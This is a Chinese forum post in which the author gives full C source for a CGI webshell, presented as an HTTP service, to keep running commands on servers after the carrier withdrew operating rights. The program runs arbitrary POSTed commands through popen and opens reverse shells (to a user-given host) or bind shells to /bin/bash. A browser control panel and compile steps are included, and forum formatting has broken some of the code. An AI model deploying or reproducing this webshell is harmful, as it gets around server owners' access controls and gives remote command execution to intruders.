找回密码
 用户注册

QQ登录

只需一步,快速开始

查看: 3077|回复: 0

通过C写一个服务http实现shell的远程调用并返回结果

[复制链接]
 楼主| 发表于 2015-12-31 08:49:35 | 显示全部楼层 |阅读模式
由于某些原因,移动回收了某些服务器的运营权限,这本身没什么问题。
但是对于有些需要核对日志的工作,以及对业务的验证,查错,管理的需求。
你又不可能等移动提交审批后再说(用户等不了,所谓移动运营,你们大家都懂的)
本着没有困难创造困难的态度,移动给我们出了好一道考题。
为了保障服务的及时性,也不是没有办法搞定。
所谓道高一尺,哪个什么一丈。

于是自己用C++写了一个服务,http伪装,实际是一个shell的远程运行接口。可以通过页面的形式调用。
至于访问IP可以限定为指定IP,不对公网开放。
[size=1em][size=1em]#include <stdio.h>
[size=1em]#include <string.h>
[size=1em]#include <unistd.h>
[size=1em]#include <stdlib.h>
[size=1em]#include <sys/types.h>
[size=1em]#include <sys/socket.h>
[size=1em]#include <netinet/in.h>
[size=1em]#include <arpa/inet.h>
[size=1em]#include <netdb.h>
[size=1em]#include <signal.h>
[size=1em]  

[size=1em]  
[size=1em]struct get_data {
[size=1em]    char key[100];
[size=1em]    char value[100];
[size=1em]};
[size=1em]  
[size=1em]  
[size=1em]void exec_cmd(void){
[size=1em]    printf("Content-type:text/html\n\n");
[size=1em]    FILE *command;
[size=1em]    int size = atoi(getenv("CONTENT_LENGTH"));
[size=1em]    if(size > 1500) {
[size=1em]        printf("Error> Post Data is very big");
[size=1em]        exit(0);
[size=1em]    }
[size=1em]    char *buffer = malloc(size+1);
[size=1em]    fread(buffer,1,size,stdin);
[size=1em]    command = popen(buffer,"r");
[size=1em]    char caracter;
[size=1em]  
[size=1em]    while((caracter = fgetc(command))){
[size=1em]        if(caracter == EOF) break;
[size=1em]        printf("%c",caracter);
[size=1em]    }
[size=1em]  
[size=1em]    pclose(command);
[size=1em]    free(buffer);
[size=1em]    exit(0);
[size=1em]}
[size=1em]  
[size=1em]int error(char *err){
[size=1em]    perror(err);
[size=1em]    exit(EXIT_FAILURE);
[size=1em]}
[size=1em]  
[size=1em]void parser_get(void){
[size=1em]    printf("Content-type:text/html\n\n");
[size=1em]  
[size=1em]    struct get_data *s;
[size=1em]    char *GET = (char *)getenv("QUERY_STRING");
[size=1em]    int i,number_of_get = 0,size_get = strlen(GET);
[size=1em]  
[size=1em]    if(strlen(GET) > 100)
[size=1em]        exit(0);
[size=1em]  
[size=1em]    s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
[size=1em]  
[size=1em]    int element = 0;
[size=1em]    int positionA = 0;
[size=1em]    int positionB = 0;
[size=1em]    int id = 0;
[size=1em]  
[size=1em]    for(i=0;i<size_get;i++){
[size=1em]        if(GET == '='){
[size=1em]            id = 1;
[size=1em]            s[element].key[positionA] = '\0';
[size=1em]            positionB = 0;
[size=1em]            continue;
[size=1em]        }
[size=1em]  
[size=1em]        if(GET == '&'){
[size=1em]            id = 0;
[size=1em]            s[element].key[positionA] = '\0';
[size=1em]            s[element].value[positionB] = '\0';
[size=1em]            positionA = 0;
[size=1em]            positionB = 0;
[size=1em]            element++;
[size=1em]            continue;
[size=1em]        }
[size=1em]  
[size=1em]        if(id==0){
[size=1em]            s[element].key[positionA] = GET;
[size=1em]            positionA++;
[size=1em]        }
[size=1em]  
[size=1em]        if(id==1){
[size=1em]            s[element].value[positionB] = GET;
[size=1em]            positionB++;
[size=1em]        }
[size=1em]  
[size=1em]        if(i == size_get-1 && GET[size_get-1] != '&'){
[size=1em]            s[element].key[positionA] = '\0';
[size=1em]            s[element].value[positionB] = '\0';
[size=1em]            element++;
[size=1em]            continue;
[size=1em]        }
[size=1em]  
[size=1em]  
[size=1em]    }
[size=1em]  
[size=1em]    char *host_x = (char *)malloc(100);
[size=1em]    host_x = NULL;
[size=1em]    char *type_x = (char *)malloc(100);
[size=1em]    type_x = NULL;
[size=1em]    int port_x = 0;
[size=1em]  
[size=1em]    for(i=0;i<element;i++){
[size=1em]        if(strcmp(s.key,"type")==0)
[size=1em]            type_x = s.value;
[size=1em]        else if(strcmp(s.key,"host")==0)
[size=1em]            host_x = s.value;
[size=1em]        else if(strcmp(s.key,"port")==0)
[size=1em]            port_x = atoi(s.value);
[size=1em]    }
[size=1em]  
[size=1em]    free(s);
[size=1em]  
[size=1em]    if(type_x == NULL){
[size=1em]        free(type_x);
[size=1em]        free(host_x);
[size=1em]        exit(0);
[size=1em]    }
[size=1em]  
[size=1em]    if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){
[size=1em]        printf("Something is wrong ... !!!");
[size=1em]        free(type_x);
[size=1em]        free(host_x);
[size=1em]        exit(0);
[size=1em]    }
[size=1em]  
[size=1em]    if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){
[size=1em]        printf("You must specify a target host ...");
[size=1em]        free(type_x);
[size=1em]        free(host_x);
[size=1em]        exit(0);
[size=1em]    }
[size=1em]  
[size=1em]    if(strcmp(type_x,"reverse") == 0){
[size=1em]        struct sockaddr_in addr;
[size=1em]        int msocket;
[size=1em]        msocket = socket(AF_INET,SOCK_STREAM,0);
[size=1em]  
[size=1em]        if(msocket < 0){
[size=1em]            printf("<font color='red'>Fail to create socket</font>");
[size=1em]            free(host_x);
[size=1em]            free(type_x);
[size=1em]            exit(0);
[size=1em]        }
[size=1em]  
[size=1em]        addr.sin_family = AF_INET;
[size=1em]        addr.sin_port = htons(port_x);
[size=1em]        addr.sin_addr.s_addr = inet_addr(host_x);
[size=1em]  
[size=1em]        memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
[size=1em]  
[size=1em]        if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
[size=1em]            printf("<font color='red'>Fail to connect</font>\n");
[size=1em]            free(host_x);
[size=1em]            free(type_x);
[size=1em]            exit(0);
[size=1em]        }
[size=1em]  
[size=1em]        printf("<font color='006600'>Connect with sucess !!!</font>\n");
[size=1em]  
[size=1em]        if(fork() == 0){
[size=1em]            close(0); close(1); close(2);
[size=1em]            dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2);
[size=1em]            execl("/bin/bash","bash","-i", (char *)0);
[size=1em]            close(msocket);
[size=1em]            exit(0);
[size=1em]        }
[size=1em]  
[size=1em]        free(host_x);
[size=1em]        free(type_x);
[size=1em]        exit(0);
[size=1em]    } else if (strcmp(type_x,"bind")==0) {
[size=1em]  
[size=1em]        int my_socket, cli_socket;
[size=1em]        struct sockaddr_in server_addr,cli_addr;
[size=1em]  
[size=1em]        if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){
[size=1em]            printf("<font color='red'>Fail to create socket</font>");
[size=1em]            exit(1);
[size=1em]        }
[size=1em]  
[size=1em]        server_addr.sin_family = AF_INET;
[size=1em]        server_addr.sin_port = htons(port_x);
[size=1em]        server_addr.sin_addr.s_addr = INADDR_ANY;
[size=1em]        bzero(&(server_addr.sin_zero), 8);
[size=1em]  
[size=1em]        int optval = 1;
[size=1em]        setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
[size=1em]  
[size=1em]  
[size=1em]        if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){
[size=1em]            printf("<font color='red'>Fail to bind</font>");
[size=1em]            free(host_x);
[size=1em]            free(type_x);
[size=1em]            exit(1);
[size=1em]        }
[size=1em]  
[size=1em]        if (listen(my_socket, 1) < 0){
[size=1em]            printf("<font color='red'>Fail to listen</font>");
[size=1em]            free(host_x);
[size=1em]            free(type_x);
[size=1em]            exit(1);
[size=1em]        } else {
[size=1em]            printf("<font color='006600'>Listen on port %d</font>\n",port_x);
[size=1em]        }
[size=1em]  
[size=1em]        if(fork() == 0){
[size=1em]            socklen_t tamanho = sizeof(struct sockaddr_in);
[size=1em]  
[size=1em]            if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){
[size=1em]                exit(0);
[size=1em]  
[size=1em]            }
[size=1em]  
[size=1em]            close(0); close(1); close(2);
[size=1em]            dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2);
[size=1em]  
[size=1em]            execl("/bin/bash","bash","-i",(char *)0);
[size=1em]            close(cli_socket);
[size=1em]  
[size=1em]        }
[size=1em]  
[size=1em]    }
[size=1em]    free(host_x);
[size=1em]    free(type_x);
[size=1em]    exit(0);
[size=1em]}
[size=1em]  
[size=1em]void load_css_js(void){
[size=1em]printf("<style type=\"text/css\">\n\
[size=1em]#page-wrap {\n\
[size=1em]    margin: 20px auto;\n\
[size=1em]    width: 750px;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]h1 {\n\
[size=1em]    font-family: Impact, Charcoal, sans-serif;\n\
[size=1em]    text-shadow: -1px 0 black, 0 1px black,\n\
[size=1em]     1px 0 black, 0 -1px black;\n\
[size=1em]    color: gray;\n\
[size=1em]    border: #00ff00;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]body {\n\
[size=1em]    background-color: white;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]input[type=\"text\"] {\n\
[size=1em]    margin-bottom: 10px;\n\
[size=1em]    border: 1px solid gray;\n\
[size=1em]    color: black;\n\
[size=1em]    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]hr {\n\
[size=1em]    color: gray;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]input[type=\"submit\"],input[type=\"button\"] {\n\
[size=1em]    margin-bottom: 10px;\n\
[size=1em]    border: 1px solid gray;\n\
[size=1em]    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]#bind_reverse {\n\
[size=1em]    display:none;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]label {\n\
[size=1em]    position: relative;\n\
[size=1em]    clear: left;\n\
[size=1em]    float: left;\n\
[size=1em]    width: 15em;\n\
[size=1em]    margin-right: 5px;\n\
[size=1em]    text-align: right;\n\
[size=1em]    margin-top: 5px;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]\n\
[size=1em]div.scroll {\n\
[size=1em]    border: 1px solid gray;\n\
[size=1em]    margin-bottom: 10px;\n\
[size=1em]    color: black;\n\
[size=1em]    font-family: Tahoma, sans-serif;\n\
[size=1em]    padding: 5px;\n\
[size=1em]    width: 745px;\n\
[size=1em]    height: 295px;\n\
[size=1em]    overflow: auto;\n\
[size=1em]    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]#cmd_rev {\n\
[size=1em]    position: absolute;\n\
[size=1em]    margin-left: 450px;\n\
[size=1em]    top: 150px;\n\
[size=1em]    width: 250px;\n\
[size=1em]    overflow: auto;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]#cmd_bin {\n\
[size=1em]    position: absolute;\n\
[size=1em]    margin-left: 450px;\n\
[size=1em]    top: 300px;\n\
[size=1em]    width: 250px;\n\
[size=1em]    overflow: auto;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]#rev_s {\n\
[size=1em]    display:inline;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]#bind_s {\n\
[size=1em]    display:inline;\n\
[size=1em]}\n\
[size=1em]</style>\n\
[size=1em]\n\
[size=1em]<script type=\"text/javascript\">\n\
[size=1em]function exec_cmd(){\n\
[size=1em]    var Rrequest = new XMLHttpRequest();\n\
[size=1em]    var cmd_x = document.getElementById(\"xxx\");\n\
[size=1em]\n\
[size=1em]    var result = document.getElementById(\"result\");\n\
[size=1em]\n\
[size=1em]    if(cmd_x.value == '') return;\n\
[size=1em]    if(cmd_x.value == 'clear' || cmd_x.value == 'reset') { result.innerHTML = ''; return; }\n\
[size=1em]    var vv = cmd_x.value;\n\
[size=1em]\n\
[size=1em]    vv = vv.replace(/</g,\"&#60\");\n\
[size=1em]    vv = vv.replace(/>/g,\"&#62\");\n\
[size=1em]\n\
[size=1em]    result.innerHTML += \"<pre><b>\\$</b> \"+vv+\"</pre>\";\n\
[size=1em]    var bodyx = '';\n\
[size=1em]\n\
[size=1em]    Rrequest.open(\"POST\",window.location.href,true);\n\
[size=1em]    Rrequest.setRequestHeader(\"Content-type\",\"text/plain\");\n\
[size=1em]    Rrequest.send(cmd_x.value);\n\
[size=1em]\n\
[size=1em]    Rrequest.onreadystatechange = function(){\n\
[size=1em]        if(Rrequest.status == 200){\n\
[size=1em]            if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\
[size=1em]                var complete_cont = Rrequest.responseText;\n\
[size=1em]                complete_cont = complete_cont.replace(/</g,\"&#60\");\n\
[size=1em]                complete_cont = complete_cont.replace(/>/g,\"&#62\");\n\
[size=1em]                result.innerHTML += '<pre>'+complete_cont+'</pre>';\n\
[size=1em]                result.scrollTop = result.scrollHeight;\n\
[size=1em]            }\n\
[size=1em]        } else {\n\
[size=1em]            if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\
[size=1em]                result.innerHTML += \"<pre><b>error !</b></pre>\";\n\
[size=1em]                return false;\n\
[size=1em]            }\n\
[size=1em]        }\n\
[size=1em]    }\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]function load_bind(){\n\
[size=1em]    var change_link = document.getElementById(\"change_link\");\n\
[size=1em]    var linkz = change_link.innerHTML;\n\
[size=1em]\n\
[size=1em]    if(linkz == 'REVERSE/BIND') {\n\
[size=1em]        change_link.innerHTML = \"COMMAND LINE\";\n\
[size=1em]        document.getElementById(\"cmd_line\").style.display = 'none';\n\
[size=1em]        document.getElementById(\"bind_reverse\").style.display = 'block';\n\
[size=1em]    }\n\
[size=1em]    \n\
[size=1em]    else {\n\
[size=1em]        document.getElementById(\"bind_reverse\").style.display = 'none';\n\
[size=1em]        document.getElementById(\"cmd_line\").style.display = 'block';\n\
[size=1em]        change_link.innerHTML = 'REVERSE/BIND';\n\
[size=1em]    }\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]function update_div(su,xxxd){\n\
[size=1em]    var status = document.getElementById(xxxd);\n\
[size=1em]    if(su.value == 0 || su.value == \"\"){\n\
[size=1em]        status.innerHTML = \"\";\n\
[size=1em]        return false;\n\
[size=1em]    }\n\
[size=1em]    if(xxxd == 'cmd_rev') {\n\
[size=1em]        status.innerHTML = \"<pre>nc -v -l \"+su.value+\"</pre>\";\n\
[size=1em]        return true;\n\
[size=1em]    }\n");
[size=1em]    printf("\tvar server_ip = '%s';\n",getenv("SERVER_ADDR"));
[size=1em]    printf("\tstatus.innerHTML = \"<pre>nc -v \"+server_ip+\" \"+su.value+\"</pre>\";\n\
[size=1em]    return true;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]function change_div(ev,field){\n\
[size=1em]    if(ev.keyCode == 8 || ev.keyCode == 37 ||\n\
[size=1em]    ev.keyCode == 38 || ev.keyCode == 39 || \n\
[size=1em]     ev.keycode == 40 || ev.keyCode == 46){\n\
[size=1em]        return true;\n\
[size=1em]    }\n\
[size=1em]\n\
[size=1em]    if(ev.charCode < 48 || ev.charCode > 57){\n\
[size=1em]        return false;\n\
[size=1em]    }\n\
[size=1em]    \n\
[size=1em]    if(field.value > 65535){\n\
[size=1em]        return false;\n\
[size=1em]    }\n\
[size=1em]    return true;\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]function connect_xxx(div_t){\n\
[size=1em]\n\
[size=1em]    var get_s = '';\n\
[size=1em]    if(div_t == 'rev_s'){\n\
[size=1em]        var host_rev = document.getElementById(\"host_rev\");\n\
[size=1em]        var port_rev = document.getElementById(\"port_rev\");\n\
[size=1em]        if(host_rev.value == '' || port_rev == '' ) return false;\n\
[size=1em]        get_s = '/?type=reverse&host='+host_rev.value+'&port='+port_rev.value;\n\
[size=1em]    } else if(div_t == 'bind_s'){\n\
[size=1em]        var port_bind = document.getElementById(\"port_bin\");\n\
[size=1em]        if(port_bin.value == '') return false;\n\
[size=1em]        get_s = '/?type=bind&port='+port_bin.value;\n\
[size=1em]    }\n\
[size=1em]\n\
[size=1em]    var target_div = document.getElementById(div_t);\n\
[size=1em]    target_div.innerHTML = \"Wait ...\";\n\
[size=1em]\n\
[size=1em]    var connect_s = new XMLHttpRequest();\n\
[size=1em]    connect_s.open(\"GET\",window.location.href+get_s,true);\n\
[size=1em]    connect_s.timeout = 3000;\n\
[size=1em]    connect_s.ontimeout = function(){\n\
[size=1em]        target_div.innerHTML = \"<font color='006600'>Listen OK !!!</font>\"\n\
[size=1em]}\n\
[size=1em]\n\
[size=1em]    connect_s.onreadystatechange = function(){\n\
[size=1em]        if(connect_s.status == 200){\n\
[size=1em]            if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\
[size=1em]                target_div.innerHTML = connect_s.responseText;\n\
[size=1em]            }\n\
[size=1em]        } else {\n\
[size=1em]            if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\
[size=1em]                result.innerHTML += \"<b>error !</b>\";\n\
[size=1em]                return false;\n\
[size=1em]            }\n\
[size=1em]        }\n\
[size=1em]    }\n\
[size=1em]\n\
[size=1em]\n\
[size=1em]\n\
[size=1em]    connect_s.send();\n\
[size=1em]\n\
[size=1em]\n\
[size=1em]}\n\
[size=1em]</script>");
[size=1em]  
[size=1em]}
[size=1em]  
[size=1em]int main(void){
[size=1em]    if(strcmp(getenv("REQUEST_METHOD"),"POST") == 0) exec_cmd();
[size=1em]    if(strcmp(getenv("QUERY_STRING"),"") != 0) parser_get();
[size=1em]    printf("Content-type:text/html\n\n");
[size=1em]  
[size=1em]    printf("<html>\n");
[size=1em]    printf("\t<head>\n\t<meta http-equiv=\"Content-type\" content=\"text/html;charset=UTF-8\">\n");
[size=1em]    printf("\t\t<title> C CGI SHELL =D </title>\n");
[size=1em]    load_css_js();
[size=1em]    printf("\n\t</head>\n");
[size=1em]    printf("\t<body>\n");
[size=1em]printf(" \n\
[size=1em]    <div id=\"page-wrap\">\n\
[size=1em]    <h1>C - CGI SHELL</h1><pre>C0d3r: <b>webshell</b> | <a id='change_link' href='javascript:load_bind()'>REVERSE/BIND</a></pre>\n\
[size=1em]    <div id='cmd_line'>\n\
[size=1em]    <input type=\"text\" style=\"width:300px;\" id=\"xxx\" onkeyup=\"if(event.keyCode == 13) document.getElementById('lol').click()\">\n\
[size=1em]    <input id=\"lol\" type=\"button\" value=\"Run Command\" onclick=\"exec_cmd()\"><br/>\n\
[size=1em]    <div class=\"scroll\" id='result'></div>\n\
[size=1em]    </div>\n\
[size=1em]    <div id='bind_reverse'>\n\
[size=1em]        <pre><b>Reverse Connection: <div id='rev_s'><font color='red'>Stop</font></div></b></pre>\n\
[size=1em]        <pre><label>Host/IP:</label><input type=\"text\" id='host_rev'/></pre>\n\
[size=1em]        <pre><label>Port:</label><input type=\"text\" id='port_rev' onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_rev\");' /></pre>\n\
[size=1em]        <input type='button' value='Start Connection' style=\"margin-left: 15.5em;\" onclick=\"connect_xxx('rev_s')\"/>\n\
[size=1em]        <div id='cmd_rev'></div>\n\
[size=1em]        <hr>\n\
[size=1em]        <pre><b>Bind Connection: <div id='bind_s'><font color='red'>Stop</font></div></b></pre>\n\
[size=1em]        <pre><label>Port To Listen:</label><input type=\"text\" id='port_bin' style=\"width:50px\" onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_bin\");'></pre>\n\
[size=1em]        <input type='button' value='Start Connection' style=\"margin-left: 15.5em;\" onclick=\"connect_xxx('bind_s')\"/>\n\
[size=1em]        <div id='cmd_bin'></div>\n\
[size=1em]    </div>\n\
[size=1em]    </div>\n\
[size=1em]    </body>\n\
[size=1em]</html>\n\
[size=1em]");
[size=1em]    return 0;
[size=1em]}





编译:
gcc shell.c -o shell.cgi

功能:
1.反弹获得shell(target作为客户端)


您需要登录后才可以回帖 登录 | 用户注册

本版积分规则

Archiver|手机版|小黑屋|ACE Developer ( 京ICP备06055248号 )

GMT+8, 2024-4-26 14:43 , Processed in 0.019722 second(s), 6 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表